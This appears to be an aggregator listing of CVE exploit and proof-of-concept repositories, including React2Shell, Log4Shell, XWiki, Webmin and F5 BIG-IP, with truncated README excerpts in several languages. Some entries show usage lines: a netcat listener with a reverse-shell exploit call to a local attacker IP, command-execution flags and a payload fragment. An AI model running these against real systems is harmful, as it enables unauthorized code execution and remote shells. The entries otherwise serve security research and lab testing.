React2Shell-CVE-2025-55182-Testing-Environment

React2Shell CVE-2025-55182 测试环境 一个针对 CVE-2025-55182 的容器化测试环境，该漏洞是 React Server Components 中的一个严重（CVSS 10.0）远程代码执行漏洞。 ⚠️ 警告 此环境有意存在漏洞，仅应用于： 安全研究与教育 隔离环境中的渗透测试 理解漏洞机制 请勿： 部署到生产环境 暴露到互联网 用于恶意目的 漏洞详情 CVE ：CVE-2025-55182（React），CVE-2025-66478（Next.js） 严重性 ：严重（10.0） 类型 ：未认证的远程代码执行 影响范围 ：Next.js 15.x/16....

CVE-2024-4577

这是 CVE-2024-4577 的 POC 该漏洞利用允许攻击者在以下 PHP 版本中执行 RCE PHP 8.3 8.3.8、PHP 8.2 8.2.20、PHP 8.1 8.1.29 参数可查看代码！ 要了解更多关于此漏洞的详细信息，请查看 nist.gov。...

xwiki_solrsearch-rce-exploit

solrsearch-rce-exploit 针对 XWiki SolrSearch 的未授权 RCE PoC CVE-2025-24893。命令执行 + 反向 Shell。 CVE-2025-24893 – XWiki SolrSearch RCE PoC 针对 XWiki SolrSearch 模板注入导致未授权远程代码执行的概念验证。 已在 XWiki Debian 15.10.8 （修复版本：15.10.11 / 16.4.1 / 16.5.0RC1）上测试通过。 ⚠️ 仅用于教育目的。请勿在未经授权或明确许可的系统上运行。 功能 通过...

CVE-2012-2982-Webmin-RCE

Webadmin 1.580 RCE PoC CVE-2012-2982 此仓库包含一个针对 Webmin 版本 1.580 的 Python 概念验证 PoC 漏洞利用程序，该版本由于输入清理不当而存在 远程命令执行 RCE 漏洞。该漏洞存在于 file/show.cgi 组件中，允许拥有文件管理器模块访问权限的 已认证 Webmin 用户 以 root 权限执行任意系统命令 。 此 PoC 是为 教育和研究目的 开发的，并在受控实验室环境 TryHackMe 中进行了测试。 ⚠️ 本项目仅供教育目的和授权的安全测试使用。 🛡️ 漏洞详情 产品： Webmin 版本： 1.580 CVE：...

CVE-2021-44228

CVE-2021-44228 log4shell POC log4j 扫描工具 该工具将帮助你识别系统中的远程代码执行漏洞 log4j。 系统要求 你需要安装 httpx、subfinder、assetfinder、curl 和 amass 才能运行该 bash 脚本。 安装 1. 直接 git clone 仓库或下载 bash 脚本 git clone https://github.com/shamo0/CVE-2021-44228.git 2. 更改文件权限 chmod +x log4jscanner.sh 3. 运行 bash 脚本 ./log4jscanner.sh 使用方法：...

apache-cve-2021-42013-rce

apache-cve-2021-42013-rce 基于 Docker 的渗透测试实验室，用于模拟 Apache HTTP Server 2.4.49 上的 CVE-2021-42013 漏洞 Path Traversal & RCE。 本项目旨在隔离环境中模拟并利用 exploit Apache HTTP Server 2.4.49 上的 CVE-2021-42013 漏洞。研究过程中搭建了一个名为 docker-exploit-lab 的专用实验室环境，攻击场景通过同一网络中的受害者 victim 和攻击者 attacker 两台机器进行。 项目结构与安装文件...

CVE-2025-55182

CVE-2025-55182.yaml PoC de CVE-2025-55182 nuclei -target url -t CVE-2025-55182.yaml Adaptado de nuclei-template Código principal: root@kitploit: "then":"$1:proto:then","status":"resolvedmodel","reason":-1,"value":""then":"$B1337"","response":"prefix":"var...

CVE-2021-41653

CVE-2021-41653 TP-Link TL-WR840N EU v5 远程代码执行 参考：https://k4m1ll0.com/cve-2021-41653.html...

CVE-2025-55182-PoC

CVE-2025-55182-PoC Poc for CVE-2025-55182 root@kitploit: Usage: python3 poc.py -u http://target.com --cmd "" Legal Disclaimer This tool is provided for educational purposes and authorized security testing only. Usage of this tool for attacking targets without prior mutual consent is illegal. The...

CVE-2025-30397---Windows-Server-2025-JScript-RCE-Use-After-Free-

CVE-2025-30397---Windows-Server-2025-JScript-RCE-Use-After-Free 通过 JScript.dll 中的释放后使用（Use-After-Free）实现远程代码执行 CVE-2025-30397 🧠 描述 本仓库包含针对 JScript 引擎（jscript.dll）中释放后使用（Use-After-Free）漏洞的概念验证（PoC）利用代码，该漏洞影响 Windows Server 2025（build 25398 及更早版本）。该漏洞通过堆喷射技术利用内存破坏，可实现远程代码执行。该 PoC 演示了在受影响系统上通过...

CVE-2024-28397-Reverse-Shell

CVE-2024-28397-反弹Shell 针对CVE-2024-28397的反弹Shell。 漏洞利用适用于 js2py = v0.74 要求 requests库（pip install requests） Python3 Netcat（或可用于监听反弹Shell的工具） 使用方法 监听端 root@kitploit: nc -lnvp 4444 利用端 root@kitploit: python3 exploit.py 10.129.66.160 8000 /runcode --localip 10.10.15.11 --localport 4444...

CVE-2024-21689

CVE-2024–21689 RCE Bamboo Data Center and Server Atlassian CVSS 评分 - 7.6 🔥 描述 此高危 RCE（远程代码执行）漏洞 CVE-2024-21689 引入于 Bamboo Data Center and Server 的 9.1.0、9.2.0、9.3.0、9.4.0、9.5.0 和 9.6.0 版本。该 RCE（远程代码执行）漏洞的 CVSS 评分为 7.6，允许经过身份验证的攻击者执行任意代码，对机密性、完整性和可用性造成高影响，且需要用户交互。 运行脚本 单一 URL 模式 ： root@kitploit:...

GZDoom-Arbitrary-Code-Execution-via-ZScript-PoC

GZDoom = 4.13.1 Ejecución de Código Arbitrario a través de ZScript Malicioso Una prueba de concepto para una vulnerabilidad de ejecución de código arbitrario que encontré en la funcionalidad ZScript de GZDoom https://github.com/zdoom/gzdoom. Un atacante puede compartir un archivo PK3 que contenga...

CVE-2017-9805

Test nuclei CVE-2017-9805.yaml - struts2 showcase RCE 构建 Dockerfile docker build -t cve-2017-9805 . 启动并分离容器 docker run --name cve-2017-9805 -p 127.0.0.1:8080:8080 -dit cve-2017-9805 /bin/bash 登录到运行中的容器 docker exec -it cve-2017-9805 /bin/bash 启动 Tomcat $CATALINAHOME/bin/startup.sh...

CVE-2024-31835

CVE-2024-31835 flatpress CMS Flatpress v1.3 中存在跨站脚本（XSS）漏洞，远程攻击者可以通过向文件名参数传递特制载荷来执行任意代码。 受影响组件： FlatPress CMS 管理面板文件上传字段 修复版本： Flatpress v1.3 - 将在 FlatPress 1.3 版本中修复。 攻击类型：远程 攻击向量：通过构造图片文件名来利用漏洞 复现步骤： 1. 登录管理员账号并打开以下 URL：http://127.0.0.1/flatpress-1.2.1/admin.php?p=uploader&action=mediamanager 2...

CVE-2022-37205

CVE-2022-37205 CVE-2022-37205 概念验证（POC） 建议描述 预留 JFinal CMS 5.1.0 存在 SQL 注入漏洞。这些 接口并未使用相同的组件，也不具备过滤器，而是各自采用自己的 SQL 拼接方式，导致 SQL 注入。 附加信息 https://github.com/AgainstTheLight/someEXPofjfinalcms/blob/main/jfinalcms/sql8.md 漏洞类型 SQL 注入 产品供应商 开发团队 受影响产品代码库 https://github.com/jflyfox/jfinalcms - JFinal CM...

CVE-2025-67435

CVE-2025-67436 Ejecución remota de código RCE autenticada en PluXml CMS 5.8.22 Investigador : Chowdhury Faizal Ahammed Instalación root@kitploit: git clone https://github.com/pluxml/PluXml.git cd PluXml ddev config --project-type=php --php-version=8.1 --docroot=. ddev start...

CVE-2021-41773_42013

Configuración del laboratorio para CVE-2021-41773 y CVE-2021-42013 Configuración root@kitploit: $ git clone https://github.com/vulf/CVE-2021-4177342013 $ cd CVE-2021-4177342013 cd to the directory of your choice $ docker build -t vulnapache . $ docker run -d vulnapache NOTA: Los archivos httpd.co...

CVE-2022-1388_refresh

CVE-2022-1388 - refresh PoC for exploiting CVE-2022-1388 on BigIP F5 Exploit Usage root@kitploit: python3 refresh.py -h usage: refresh.py -h -u URL -f F -c CMD -s SH optional arguments: -h, --help show this help message and exit -u URL, --url URL target url -f F, --file F url file -c CMD, --comma...

CVE-2020-5902

CVE-2020-5902 código de exploit para F5-Big-IP CVE-2020-5902 Resumen En las versiones de BIG-IP 15.0.0-15.1.0.3, 14.1.0-14.1.2.5, 13.1.0-13.1.3.3, 12.1.0-12.1.5.1 y 11.6.1-11.6.5.1, la Interfaz de Usuario de Gestión de Tráfico TMUI, también conocida como utilidad de configuración, presenta una...